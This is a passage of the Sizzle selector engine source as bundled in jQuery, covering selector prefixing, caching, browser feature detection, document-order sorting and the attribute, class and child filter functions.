nodeType !== 1 ) {\n                                newContext = context;\n                                newSelector = selector;\n\n                                // qSA looks outside Element context, which is not what we want\n                                // Thanks to Andrew Dupont for this workaround technique\n                                // Support: IE <=8\n                                // Exclude object elements\n                            } else if ( context.nodeName.toLowerCase() !== \"object\" ) {\n\n                                // Capture the context ID, setting it first if necessary\n                                if ( (nid = context.getAttribute( \"id\" )) ) {\n                                    nid = nid.replace( rcssescape, fcssescape );\n                                } else {\n                                    context.setAttribute( \"id\", (nid = expando) );\n                                }\n\n                                // Prefix every selector in the list\n                                groups = tokenize( selector );\n                                i = groups.length;\n                                while ( i-- ) {\n                                    groups[i] = \"#\" + nid + \" \" + toSelector( groups[i] );\n                                }\n                                newSelector = groups.join( \",\" );\n\n                                // Expand context for sibling selectors\n                                newContext = rsibling.test( selector ) && testContext( context.parentNode ) ||\n                                    context;\n                            }\n\n                            if ( newSelector ) {\n                                try {\n                                    push.apply( results,\n                                        newContext.querySelectorAll( newSelector )\n                                    );\n                                    return results;\n                                } catch ( qsaError ) {\n                                } finally {\n                                    if ( nid === expando ) {\n                                        context.removeAttribute( \"id\" );\n                                    }\n                                }\n                            }\n                        }\n                    }\n                }\n\n                // All others\n                return select( selector.replace( rtrim, \"$1\" ), context, results, seed );\n            }\n\n            /**\n             * Create key-value caches of limited size\n             * @returns {function(string, object)} Returns the Object data after storing it on itself with\n             *\tproperty name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)\n             *\tdeleting the oldest entry\n             */\n            function createCache() {\n                var keys = [];\n\n                function cache( key, value ) {\n                    // Use (key + \" \") to avoid collision with native prototype properties (see Issue #157)\n                    if ( keys.push( key + \" \" ) > Expr.cacheLength ) {\n                        // Only keep the most recent entries\n                        delete cache[ keys.shift() ];\n                    }\n                    return (cache[ key + \" \" ] = value);\n                }\n                return cache;\n            }\n\n            /**\n             * Mark a function for special use by Sizzle\n             * @param {Function} fn The function to mark\n             */\n            function markFunction( fn ) {\n                fn[ expando ] = true;\n                return fn;\n            }\n\n            /**\n             * Support testing using an element\n             * @param {Function} fn Passed the created element and returns a boolean result\n             */\n            function assert( fn ) {\n                var el = document.createElement(\"fieldset\");\n\n                try {\n                    return !!fn( el );\n                } catch (e) {\n                    return false;\n                } finally {\n                    // Remove from its parent by default\n                    if ( el.parentNode ) {\n                        el.parentNode.removeChild( el );\n                    }\n                    // release memory in IE\n                    el = null;\n                }\n            }\n\n            /**\n             * Adds the same handler for all of the specified attrs\n             * @param {String} attrs Pipe-separated list of attributes\n             * @param {Function} handler The method that will be applied\n             */\n            function addHandle( attrs, handler ) {\n                var arr = attrs.split(\"|\"),\n                    i = arr.length;\n\n                while ( i-- ) {\n                    Expr.attrHandle[ arr[i] ] = handler;\n                }\n            }\n\n            /**\n             * Checks document order of two siblings\n             * @param {Element} a\n             * @param {Element} b\n             * @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b\n             */\n            function siblingCheck( a, b ) {\n                var cur = b && a,\n                    diff = cur && a.nodeType === 1 && b.nodeType === 1 &&\n                        a.sourceIndex - b.sourceIndex;\n\n                // Use IE sourceIndex if available on both nodes\n                if ( diff ) {\n                    return diff;\n                }\n\n                // Check if b follows a\n                if ( cur ) {\n                    while ( (cur = cur.nextSibling) ) {\n                        if ( cur === b ) {\n                            return -1;\n                        }\n                    }\n                }\n\n                return a ? 1 : -1;\n            }\n\n            /**\n             * Returns a function to use in pseudos for input types\n             * @param {String} type\n             */\n            function createInputPseudo( type ) {\n                return function( elem ) {\n                    var name = elem.nodeName.toLowerCase();\n                    return name === \"input\" && elem.type === type;\n                };\n            }\n\n            /**\n             * Returns a function to use in pseudos for buttons\n             * @param {String} type\n             */\n            function createButtonPseudo( type ) {\n                return function( elem ) {\n                    var name = elem.nodeName.toLowerCase();\n                    return (name === \"input\" || name === \"button\") && elem.type === type;\n                };\n            }\n\n            /**\n             * Returns a function to use in pseudos for :enabled/:disabled\n             * @param {Boolean} disabled true for :disabled; false for :enabled\n             */\n            function createDisabledPseudo( disabled ) {\n\n                // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable\n                return function( elem ) {\n\n                    // Only certain elements can match :enabled or :disabled\n                    // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled\n                    // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled\n                    if ( \"form\" in elem ) {\n\n                        // Check for inherited disabledness on relevant non-disabled elements:\n                        // * listed form-associated elements in a disabled fieldset\n                        //   https://html.spec.whatwg.org/multipage/forms.html#category-listed\n                        //   https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled\n                        // * option elements in a disabled optgroup\n                        //   https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled\n                        // All such elements have a \"form\" property.\n                        if ( elem.parentNode && elem.disabled === false ) {\n\n                            // Option elements defer to a parent optgroup if present\n                            if ( \"label\" in elem ) {\n                                if ( \"label\" in elem.parentNode ) {\n                                    return elem.parentNode.disabled === disabled;\n                                } else {\n                                    return elem.disabled === disabled;\n                                }\n                            }\n\n                            // Support: IE 6 - 11\n                            // Use the isDisabled shortcut property to check for disabled fieldset ancestors\n                            return elem.isDisabled === disabled ||\n\n                                // Where there is no isDisabled, check manually\n                                /* jshint -W018 */\n                                elem.isDisabled !== !disabled &&\n                                disabledAncestor( elem ) === disabled;\n                        }\n\n                        return elem.disabled === disabled;\n\n                        // Try to winnow out elements that can't be disabled before trusting the disabled property.\n                        // Some victims get caught in our net (label, legend, menu, track), but it shouldn't\n                        // even exist on them, let alone have a boolean value.\n                    } else if ( \"label\" in elem ) {\n                        return elem.disabled === disabled;\n                    }\n\n                    // Remaining elements are neither :enabled nor :disabled\n                    return false;\n                };\n            }\n\n            /**\n             * Returns a function to use in pseudos for positionals\n             * @param {Function} fn\n             */\n            function createPositionalPseudo( fn ) {\n                return markFunction(function( argument ) {\n                    argument = +argument;\n                    return markFunction(function( seed, matches ) {\n                        var j,\n                            matchIndexes = fn( [], seed.length, argument ),\n                            i = matchIndexes.length;\n\n                        // Match elements found at the specified indexes\n                        while ( i-- ) {\n                            if ( seed[ (j = matchIndexes[i]) ] ) {\n                                seed[j] = !(matches[j] = seed[j]);\n                            }\n                        }\n                    });\n                });\n            }\n\n            /**\n             * Checks a node for validity as a Sizzle context\n             * @param {Element|Object=} context\n             * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value\n             */\n            function testContext( context ) {\n                return context && typeof context.getElementsByTagName !== \"undefined\" && context;\n            }\n\n// Expose support vars for convenience\n            support = Sizzle.support = {};\n\n            /**\n             * Detects XML nodes\n             * @param {Element|Object} elem An element or a document\n             * @returns {Boolean} True iff elem is a non-HTML XML node\n             */\n            isXML = Sizzle.isXML = function( elem ) {\n                // documentElement is verified for cases where it doesn't yet exist\n                // (such as loading iframes in IE - #4833)\n                var documentElement = elem && (elem.ownerDocument || elem).documentElement;\n                return documentElement ? documentElement.nodeName !== \"HTML\" : false;\n            };\n\n            /**\n             * Sets document-related variables once based on the current document\n             * @param {Element|Object} [doc] An element or document object to use to set the document\n             * @returns {Object} Returns the current document\n             */\n            setDocument = Sizzle.setDocument = function( node ) {\n                var hasCompare, subWindow,\n                    doc = node ? node.ownerDocument || node : preferredDoc;\n\n                // Return early if doc is invalid or already selected\n                if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {\n                    return document;\n                }\n\n                // Update global variables\n                document = doc;\n                docElem = document.documentElement;\n                documentIsHTML = !isXML( document );\n\n                // Support: IE 9-11, Edge\n                // Accessing iframe documents after unload throws \"permission denied\" errors (jQuery #13936)\n                if ( preferredDoc !== document &&\n                    (subWindow = document.defaultView) && subWindow.top !== subWindow ) {\n\n                    // Support: IE 11, Edge\n                    if ( subWindow.addEventListener ) {\n                        subWindow.addEventListener( \"unload\", unloadHandler, false );\n\n                        // Support: IE 9 - 10 only\n                    } else if ( subWindow.attachEvent ) {\n                        subWindow.attachEvent( \"onunload\", unloadHandler );\n                    }\n                }\n\n                /* Attributes\n                 ---------------------------------------------------------------------- */\n\n                // Support: IE<8\n                // Verify that getAttribute really returns attributes and not properties\n                // (excepting IE8 booleans)\n                support.attributes = assert(function( el ) {\n                    el.className = \"i\";\n                    return !el.getAttribute(\"className\");\n                });\n\n                /* getElement(s)By*\n                 ---------------------------------------------------------------------- */\n\n                // Check if getElementsByTagName(\"*\") returns only elements\n                support.getElementsByTagName = assert(function( el ) {\n                    el.appendChild( document.createComment(\"\") );\n                    return !el.getElementsByTagName(\"*\").length;\n                });\n\n                // Support: IE<9\n                support.getElementsByClassName = rnative.test( document.getElementsByClassName );\n\n                // Support: IE<10\n                // Check if getElementById returns elements by name\n                // The broken getElementById methods don't pick up programmatically-set names,\n                // so use a roundabout getElementsByName test\n                support.getById = assert(function( el ) {\n                    docElem.appendChild( el ).id = expando;\n                    return !document.getElementsByName || !document.getElementsByName( expando ).length;\n                });\n\n                // ID filter and find\n                if ( support.getById ) {\n                    Expr.filter[\"ID\"] = function( id ) {\n                        var attrId = id.replace( runescape, funescape );\n                        return function( elem ) {\n                            return elem.getAttribute(\"id\") === attrId;\n                        };\n                    };\n                    Expr.find[\"ID\"] = function( id, context ) {\n                        if ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n                            var elem = context.getElementById( id );\n                            return elem ? [ elem ] : [];\n                        }\n                    };\n                } else {\n                    Expr.filter[\"ID\"] =  function( id ) {\n                        var attrId = id.replace( runescape, funescape );\n                        return function( elem ) {\n                            var node = typeof elem.getAttributeNode !== \"undefined\" &&\n                                elem.getAttributeNode(\"id\");\n                            return node && node.value === attrId;\n                        };\n                    };\n\n                    // Support: IE 6 - 7 only\n                    // getElementById is not reliable as a find shortcut\n                    Expr.find[\"ID\"] = function( id, context ) {\n                        if ( typeof context.getElementById !== \"undefined\" && documentIsHTML ) {\n                            var node, i, elems,\n                                elem = context.getElementById( id );\n\n                            if ( elem ) {\n\n                                // Verify the id attribute\n                                node = elem.getAttributeNode(\"id\");\n                                if ( node && node.value === id ) {\n                                    return [ elem ];\n                                }\n\n                                // Fall back on getElementsByName\n                                elems = context.getElementsByName( id );\n                                i = 0;\n                                while ( (elem = elems[i++]) ) {\n                                    node = elem.getAttributeNode(\"id\");\n                                    if ( node && node.value === id ) {\n                                        return [ elem ];\n                                    }\n                                }\n                            }\n\n                            return [];\n                        }\n                    };\n                }\n\n                // Tag\n                Expr.find[\"TAG\"] = support.getElementsByTagName ?\n                    function( tag, context ) {\n                        if ( typeof context.getElementsByTagName !== \"undefined\" ) {\n                            return context.getElementsByTagName( tag );\n\n                            // DocumentFragment nodes don't have gEBTN\n                        } else if ( support.qsa ) {\n                            return context.querySelectorAll( tag );\n                        }\n                    } :\n\n                    function( tag, context ) {\n                        var elem,\n                            tmp = [],\n                            i = 0,\n                            // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too\n                            results = context.getElementsByTagName( tag );\n\n                        // Filter out possible comments\n                        if ( tag === \"*\" ) {\n                            while ( (elem = results[i++]) ) {\n                                if ( elem.nodeType === 1 ) {\n                                    tmp.push( elem );\n                                }\n                            }\n\n                            return tmp;\n                        }\n                        return results;\n                    };\n\n                // Class\n                Expr.find[\"CLASS\"] = support.getElementsByClassName && function( className, context ) {\n                    if ( typeof context.getElementsByClassName !== \"undefined\" && documentIsHTML ) {\n                        return context.getElementsByClassName( className );\n                    }\n                };\n\n                /* QSA/matchesSelector\n                 ---------------------------------------------------------------------- */\n\n                // QSA and matchesSelector support\n\n                // matchesSelector(:active) reports false when true (IE9/Opera 11.5)\n                rbuggyMatches = [];\n\n                // qSa(:focus) reports false when true (Chrome 21)\n                // We allow this because of a bug in IE8/9 that throws an error\n                // whenever `document.activeElement` is accessed on an iframe\n                // So, we allow :focus to pass through QSA all the time to avoid the IE error\n                // See https://bugs.jquery.com/ticket/13378\n                rbuggyQSA = [];\n\n                if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {\n                    // Build QSA regex\n                    // Regex strategy adopted from Diego Perini\n                    assert(function( el ) {\n                        // Select is set to empty string on purpose\n                        // This is to test IE's treatment of not explicitly\n                        // setting a boolean content attribute,\n                        // since its presence should be enough\n                        // https://bugs.jquery.com/ticket/12359\n                        docElem.appendChild( el ).innerHTML = \"<a id='\" + expando + \"'></a>\" +\n                            \"<select id='\" + expando + \"-\\r\\\\' msallowcapture=''>\" +\n                            \"<option selected=''></option></select>\";\n\n                        // Support: IE8, Opera 11-12.16\n                        // Nothing should be selected when empty strings follow ^= or $= or *=\n                        // The test attribute must be unknown in Opera but \"safe\" for WinRT\n                        // https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section\n                        if ( el.querySelectorAll(\"[msallowcapture^='']\").length ) {\n                            rbuggyQSA.push( \"[*^$]=\" + whitespace + \"*(?:''|\\\"\\\")\" );\n                        }\n\n                        // Support: IE8\n                        // Boolean attributes and \"value\" are not treated correctly\n                        if ( !el.querySelectorAll(\"[selected]\").length ) {\n                            rbuggyQSA.push( \"\\\\[\" + whitespace + \"*(?:value|\" + booleans + \")\" );\n                        }\n\n                        // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+\n                        if ( !el.querySelectorAll( \"[id~=\" + expando + \"-]\" ).length ) {\n                            rbuggyQSA.push(\"~=\");\n                        }\n\n                        // Webkit/Opera - :checked should return selected option elements\n                        // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked\n                        // IE8 throws error here and will not see later tests\n                        if ( !el.querySelectorAll(\":checked\").length ) {\n                            rbuggyQSA.push(\":checked\");\n                        }\n\n                        // Support: Safari 8+, iOS 8+\n                        // https://bugs.webkit.org/show_bug.cgi?id=136851\n                        // In-page `selector#id sibling-combinator selector` fails\n                        if ( !el.querySelectorAll( \"a#\" + expando + \"+*\" ).length ) {\n                            rbuggyQSA.push(\".#.+[+~]\");\n                        }\n                    });\n\n                    assert(function( el ) {\n                        el.innerHTML = \"<a href='' disabled='disabled'></a>\" +\n                            \"<select disabled='disabled'><option/></select>\";\n\n                        // Support: Windows 8 Native Apps\n                        // The type and name attributes are restricted during .innerHTML assignment\n                        var input = document.createElement(\"input\");\n                        input.setAttribute( \"type\", \"hidden\" );\n                        el.appendChild( input ).setAttribute( \"name\", \"D\" );\n\n                        // Support: IE8\n                        // Enforce case-sensitivity of name attribute\n                        if ( el.querySelectorAll(\"[name=d]\").length ) {\n                            rbuggyQSA.push( \"name\" + whitespace + \"*[*^$|!~]?=\" );\n                        }\n\n                        // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)\n                        // IE8 throws error here and will not see later tests\n                        if ( el.querySelectorAll(\":enabled\").length !== 2 ) {\n                            rbuggyQSA.push( \":enabled\", \":disabled\" );\n                        }\n\n                        // Support: IE9-11+\n                        // IE's :disabled selector does not pick up the children of disabled fieldsets\n                        docElem.appendChild( el ).disabled = true;\n                        if ( el.querySelectorAll(\":disabled\").length !== 2 ) {\n                            rbuggyQSA.push( \":enabled\", \":disabled\" );\n                        }\n\n                        // Opera 10-11 does not throw on post-comma invalid pseudos\n                        el.querySelectorAll(\"*,:x\");\n                        rbuggyQSA.push(\",.*:\");\n                    });\n                }\n\n                if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||\n                        docElem.webkitMatchesSelector ||\n                        docElem.mozMatchesSelector ||\n                        docElem.oMatchesSelector ||\n                        docElem.msMatchesSelector) )) ) {\n\n                    assert(function( el ) {\n                        // Check to see if it's possible to do matchesSelector\n                        // on a disconnected node (IE 9)\n                        support.disconnectedMatch = matches.call( el, \"*\" );\n\n                        // This should fail with an exception\n                        // Gecko does not error, returns false instead\n                        matches.call( el, \"[s!='']:x\" );\n                        rbuggyMatches.push( \"!=\", pseudos );\n                    });\n                }\n\n                rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join(\"|\") );\n                rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join(\"|\") );\n\n                /* Contains\n                 ---------------------------------------------------------------------- */\n                hasCompare = rnative.test( docElem.compareDocumentPosition );\n\n                // Element contains another\n                // Purposefully self-exclusive\n                // As in, an element does not contain itself\n                contains = hasCompare || rnative.test( docElem.contains ) ?\n                    function( a, b ) {\n                        var adown = a.nodeType === 9 ? a.documentElement : a,\n                            bup = b && b.parentNode;\n                        return a === bup || !!( bup && bup.nodeType === 1 && (\n                            adown.contains ?\n                                adown.contains( bup ) :\n                                a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16\n                        ));\n                    } :\n                    function( a, b ) {\n                        if ( b ) {\n                            while ( (b = b.parentNode) ) {\n                                if ( b === a ) {\n                                    return true;\n                                }\n                            }\n                        }\n                        return false;\n                    };\n\n                /* Sorting\n                 ---------------------------------------------------------------------- */\n\n                // Document order sorting\n                sortOrder = hasCompare ?\n                    function( a, b ) {\n\n                        // Flag for duplicate removal\n                        if ( a === b ) {\n                            hasDuplicate = true;\n                            return 0;\n                        }\n\n                        // Sort on method existence if only one input has compareDocumentPosition\n                        var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;\n                        if ( compare ) {\n                            return compare;\n                        }\n\n                        // Calculate position if both inputs belong to the same document\n                        compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?\n                            a.compareDocumentPosition( b ) :\n\n                            // Otherwise we know they are disconnected\n                            1;\n\n                        // Disconnected nodes\n                        if ( compare & 1 ||\n                            (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {\n\n                            // Choose the first element that is related to our preferred document\n                            if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {\n                                return -1;\n                            }\n                            if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {\n                                return 1;\n                            }\n\n                            // Maintain original order\n                            return sortInput ?\n                                ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n                                0;\n                        }\n\n                        return compare & 4 ? -1 : 1;\n                    } :\n                    function( a, b ) {\n                        // Exit early if the nodes are identical\n                        if ( a === b ) {\n                            hasDuplicate = true;\n                            return 0;\n                        }\n\n                        var cur,\n                            i = 0,\n                            aup = a.parentNode,\n                            bup = b.parentNode,\n                            ap = [ a ],\n                            bp = [ b ];\n\n                        // Parentless nodes are either documents or disconnected\n                        if ( !aup || !bup ) {\n                            return a === document ? -1 :\n                                b === document ? 1 :\n                                    aup ? -1 :\n                                        bup ? 1 :\n                                            sortInput ?\n                                                ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :\n                                                0;\n\n                            // If the nodes are siblings, we can do a quick check\n                        } else if ( aup === bup ) {\n                            return siblingCheck( a, b );\n                        }\n\n                        // Otherwise we need full lists of their ancestors for comparison\n                        cur = a;\n                        while ( (cur = cur.parentNode) ) {\n                            ap.unshift( cur );\n                        }\n                        cur = b;\n                        while ( (cur = cur.parentNode) ) {\n                            bp.unshift( cur );\n                        }\n\n                        // Walk down the tree looking for a discrepancy\n                        while ( ap[i] === bp[i] ) {\n                            i++;\n                        }\n\n                        return i ?\n                            // Do a sibling check if the nodes have a common ancestor\n                            siblingCheck( ap[i], bp[i] ) :\n\n                            // Otherwise nodes in our document sort first\n                            ap[i] === preferredDoc ? -1 :\n                                bp[i] === preferredDoc ? 1 :\n                                    0;\n                    };\n\n                return document;\n            };\n\n            Sizzle.matches = function( expr, elements ) {\n                return Sizzle( expr, null, null, elements );\n            };\n\n            Sizzle.matchesSelector = function( elem, expr ) {\n                // Set document vars if needed\n                if ( ( elem.ownerDocument || elem ) !== document ) {\n                    setDocument( elem );\n                }\n\n                // Make sure that attribute selectors are quoted\n                expr = expr.replace( rattributeQuotes, \"='$1']\" );\n\n                if ( support.matchesSelector && documentIsHTML &&\n                    !compilerCache[ expr + \" \" ] &&\n                    ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&\n                    ( !rbuggyQSA     || !rbuggyQSA.test( expr ) ) ) {\n\n                    try {\n                        var ret = matches.call( elem, expr );\n\n                        // IE 9's matchesSelector returns false on disconnected nodes\n                        if ( ret || support.disconnectedMatch ||\n                            // As well, disconnected nodes are said to be in a document\n                            // fragment in IE 9\n                            elem.document && elem.document.nodeType !== 11 ) {\n                            return ret;\n                        }\n                    } catch (e) {}\n                }\n\n                return Sizzle( expr, document, null, [ elem ] ).length > 0;\n            };\n\n            Sizzle.contains = function( context, elem ) {\n                // Set document vars if needed\n                if ( ( context.ownerDocument || context ) !== document ) {\n                    setDocument( context );\n                }\n                return contains( context, elem );\n            };\n\n            Sizzle.attr = function( elem, name ) {\n                // Set document vars if needed\n                if ( ( elem.ownerDocument || elem ) !== document ) {\n                    setDocument( elem );\n                }\n\n                var fn = Expr.attrHandle[ name.toLowerCase() ],\n                    // Don't get fooled by Object.prototype properties (jQuery #13807)\n                    val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?\n                        fn( elem, name, !documentIsHTML ) :\n                        undefined;\n\n                return val !== undefined ?\n                    val :\n                    support.attributes || !documentIsHTML ?\n                        elem.getAttribute( name ) :\n                        (val = elem.getAttributeNode(name)) && val.specified ?\n                            val.value :\n                            null;\n            };\n\n            Sizzle.escape = function( sel ) {\n                return (sel + \"\").replace( rcssescape, fcssescape );\n            };\n\n            Sizzle.error = function( msg ) {\n                throw new Error( \"Syntax error, unrecognized expression: \" + msg );\n            };\n\n            /**\n             * Document sorting and removing duplicates\n             * @param {ArrayLike} results\n             */\n            Sizzle.uniqueSort = function( results ) {\n                var elem,\n                    duplicates = [],\n                    j = 0,\n                    i = 0;\n\n                // Unless we *know* we can detect duplicates, assume their presence\n                hasDuplicate = !support.detectDuplicates;\n                sortInput = !support.sortStable && results.slice( 0 );\n                results.sort( sortOrder );\n\n                if ( hasDuplicate ) {\n                    while ( (elem = results[i++]) ) {\n                        if ( elem === results[ i ] ) {\n                            j = duplicates.push( i );\n                        }\n                    }\n                    while ( j-- ) {\n                        results.splice( duplicates[ j ], 1 );\n                    }\n                }\n\n                // Clear input after sorting to release objects\n                // See https://github.com/jquery/sizzle/pull/225\n                sortInput = null;\n\n                return results;\n            };\n\n            /**\n             * Utility function for retrieving the text value of an array of DOM nodes\n             * @param {Array|Element} elem\n             */\n            getText = Sizzle.getText = function( elem ) {\n                var node,\n                    ret = \"\",\n                    i = 0,\n                    nodeType = elem.nodeType;\n\n                if ( !nodeType ) {\n                    // If no nodeType, this is expected to be an array\n                    while ( (node = elem[i++]) ) {\n                        // Do not traverse comment nodes\n                        ret += getText( node );\n                    }\n                } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {\n                    // Use textContent for elements\n                    // innerText usage removed for consistency of new lines (jQuery #11153)\n                    if ( typeof elem.textContent === \"string\" ) {\n                        return elem.textContent;\n                    } else {\n                        // Traverse its children\n                        for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {\n                            ret += getText( elem );\n                        }\n                    }\n                } else if ( nodeType === 3 || nodeType === 4 ) {\n                    return elem.nodeValue;\n                }\n                // Do not include comment or processing instruction nodes\n\n                return ret;\n            };\n\n            Expr = Sizzle.selectors = {\n\n                // Can be adjusted by the user\n                cacheLength: 50,\n\n                createPseudo: markFunction,\n\n                match: matchExpr,\n\n                attrHandle: {},\n\n                find: {},\n\n                relative: {\n                    \">\": { dir: \"parentNode\", first: true },\n                    \" \": { dir: \"parentNode\" },\n                    \"+\": { dir: \"previousSibling\", first: true },\n                    \"~\": { dir: \"previousSibling\" }\n                },\n\n                preFilter: {\n                    \"ATTR\": function( match ) {\n                        match[1] = match[1].replace( runescape, funescape );\n\n                        // Move the given value to match[3] whether quoted or unquoted\n                        match[3] = ( match[3] || match[4] || match[5] || \"\" ).replace( runescape, funescape );\n\n                        if ( match[2] === \"~=\" ) {\n                            match[3] = \" \" + match[3] + \" \";\n                        }\n\n                        return match.slice( 0, 4 );\n                    },\n\n                    \"CHILD\": function( match ) {\n                        /* matches from matchExpr[\"CHILD\"]\n                         1 type (only|nth|...)\n                         2 what (child|of-type)\n                         3 argument (even|odd|\\d*|\\d*n([+-]\\d+)?|...)\n                         4 xn-component of xn+y argument ([+-]?\\d*n|)\n                         5 sign of xn-component\n                         6 x of xn-component\n                         7 sign of y-component\n                         8 y of y-component\n                         */\n                        match[1] = match[1].toLowerCase();\n\n                        if ( match[1].slice( 0, 3 ) === \"nth\" ) {\n                            // nth-* requires argument\n                            if ( !match[3] ) {\n                                Sizzle.error( match[0] );\n                            }\n\n                            // numeric x and y parameters for Expr.filter.CHILD\n                            // remember that false/true cast respectively to 0/1\n                            match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === \"even\" || match[3] === \"odd\" ) );\n                            match[5] = +( ( match[7] + match[8] ) || match[3] === \"odd\" );\n\n                            // other types prohibit arguments\n                        } else if ( match[3] ) {\n                            Sizzle.error( match[0] );\n                        }\n\n                        return match;\n                    },\n\n                    \"PSEUDO\": function( match ) {\n                        var excess,\n                            unquoted = !match[6] && match[2];\n\n                        if ( matchExpr[\"CHILD\"].test( match[0] ) ) {\n                            return null;\n                        }\n\n                        // Accept quoted arguments as-is\n                        if ( match[3] ) {\n                            match[2] = match[4] || match[5] || \"\";\n\n                            // Strip excess characters from unquoted arguments\n                        } else if ( unquoted && rpseudo.test( unquoted ) &&\n                            // Get excess from tokenize (recursively)\n                            (excess = tokenize( unquoted, true )) &&\n                            // advance to the next closing parenthesis\n                            (excess = unquoted.indexOf( \")\", unquoted.length - excess ) - unquoted.length) ) {\n\n                            // excess is a negative index\n                            match[0] = match[0].slice( 0, excess );\n                            match[2] = unquoted.slice( 0, excess );\n                        }\n\n                        // Return only captures needed by the pseudo filter method (type and argument)\n                        return match.slice( 0, 3 );\n                    }\n                },\n\n                filter: {\n\n                    \"TAG\": function( nodeNameSelector ) {\n                        var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();\n                        return nodeNameSelector === \"*\" ?\n                            function() { return true; } :\n                            function( elem ) {\n                                return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;\n                            };\n                    },\n\n                    \"CLASS\": function( className ) {\n                        var pattern = classCache[ className + \" \" ];\n\n                        return pattern ||\n                            (pattern = new RegExp( \"(^|\" + whitespace + \")\" + className + \"(\" + whitespace + \"|$)\" )) &&\n                            classCache( className, function( elem ) {\n                                return pattern.test( typeof elem.className === \"string\" && elem.className || typeof elem.getAttribute !== \"undefined\" && elem.getAttribute(\"class\") || \"\" );\n                            });\n                    },\n\n                    \"ATTR\": function( name, operator, check ) {\n                        return function( elem ) {\n                            var result = Sizzle.attr( elem, name );\n\n                            if ( result == null ) {\n                                return operator === \"!=\";\n                            }\n                            if ( !operator ) {\n                                return true;\n                            }\n\n                            result += \"\";\n\n                            return operator === \"=\" ? result === check :\n                                operator === \"!=\" ? result !== check :\n                                    operator === \"^=\" ? check && result.indexOf( check ) === 0 :\n                                        operator === \"*=\" ? check && result.indexOf( check ) > -1 :\n                                            operator === \"$=\" ? check && result.slice( -check.length ) === check :\n                                                operator === \"~=\" ? ( \" \" + result.replace( rwhitespace, \" \" ) + \" \" ).indexOf( check ) > -1 :\n                                                    operator === \"|=\" ? result === check || result.slice( 0, check.length + 1 ) === check + \"-\" :\n                                                        false;\n                        };\n                    },\n\n                    \"CHILD\": function( type, what, argument, first, last ) {\n                        var simple = type.slice( 0, 3 ) !== \"nth\",\n                            forward = type.slice( -4 ) !== \"last\",\n                            ofType = what === \"of-type\";\n\n                        return first === 1 && last === 0 ?\n\n                            // Shortcut for :nth-*(n)\n                            function( elem ) {\n                                return !!elem.parentNode;\n                            } :\n\n                            function( elem, context, xml ) {\n                                var cache, uniqueCache, outerCache, node, nodeIndex, start,\n                                    dir = simple !== forward ? \"nextSibling\" : \"previousSibling\",\n                                    parent = elem.parentNode,\n                                    name = ofType && elem.nodeName.toLowerCase(),\n                                    useCache = !xml && !ofType,\n                                    diff = false;\n\n                                if ( parent ) {\n\n                                    // :(first|last|only)-(child|of-type)\n                                    if ( simple ) {\n                                        while ( dir ) {\n                                            node = elem;\n                                            while ( (node = node[ dir ]) ) {\n                                                if ( ofType ?\n                                                        node.nodeName.toLowerCase() === name :\n                                                        node.nodeType === 1 ) {\n\n                                                    return false;\n                                                }\n                                            }\n                                            // Reverse direction for :only-* (if we haven't yet done so)\n                                            start = dir = type === \"only\" && !start && \"nextSibling\";\n                                        }\n                                        return true;\n                                    }\n\n                                    start = [ forward ? parent.firstChild : parent.lastChild ];\n\n                                    // non-xml :nth-child(...) stores cache data on `parent`\n                                    if ( forward && useCache ) {\n\n                                        // Seek `elem` from a previously-cached index\n\n                                        // ...in a gzip-friendly way\n                                        node = parent;\n                                        outerCache = node[ expando ] || (node[ expando ] = {});\n\n                                        // Support: IE <9 only\n                                        // Defend against cloned attroperties (jQuery gh-1709)\n                                        uniqueCache = outerCache[ node.uniqueID ] ||\n                                            (outerCache[ node.uniqueID ] = {});\n\n                                        cache = uniqueCache[ type ] || [];\n                                        nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];\n                                        diff = nodeIndex && cache[ 2 ];\n                                        node = nodeIndex && parent.childNodes[ nodeIndex ];\n\n                                        while ( (node = ++nodeIndex && node && node[ dir ] ||\n\n                                            // Fallback to seeking `elem` from the start\n                                            (diff = nodeIndex = 0) || start.pop()) ) {\n\n                                            // When found, cache indexes on `parent` and break\n                                            if ( node.nodeType === 1 && ++diff && node === elem ) {\n                                                uniqueCache[ type ] = [ dirruns, nodeIndex, diff ];\n                                                break;\n                                            }\n                                        }\n\n                                    } else {\n                                        // Use previously-cached element index if available\n                                        if ( useCache ) {\n                                            // ...in a gzip-friendly way\n                                            node = elem;\n                                            outerCache = node[ expando ] || (node[ expando ] = {});\n\n                                            // Support: IE <9 only\n                                            // Defend against cloned attroperties (jQuery gh-1709)\n                                            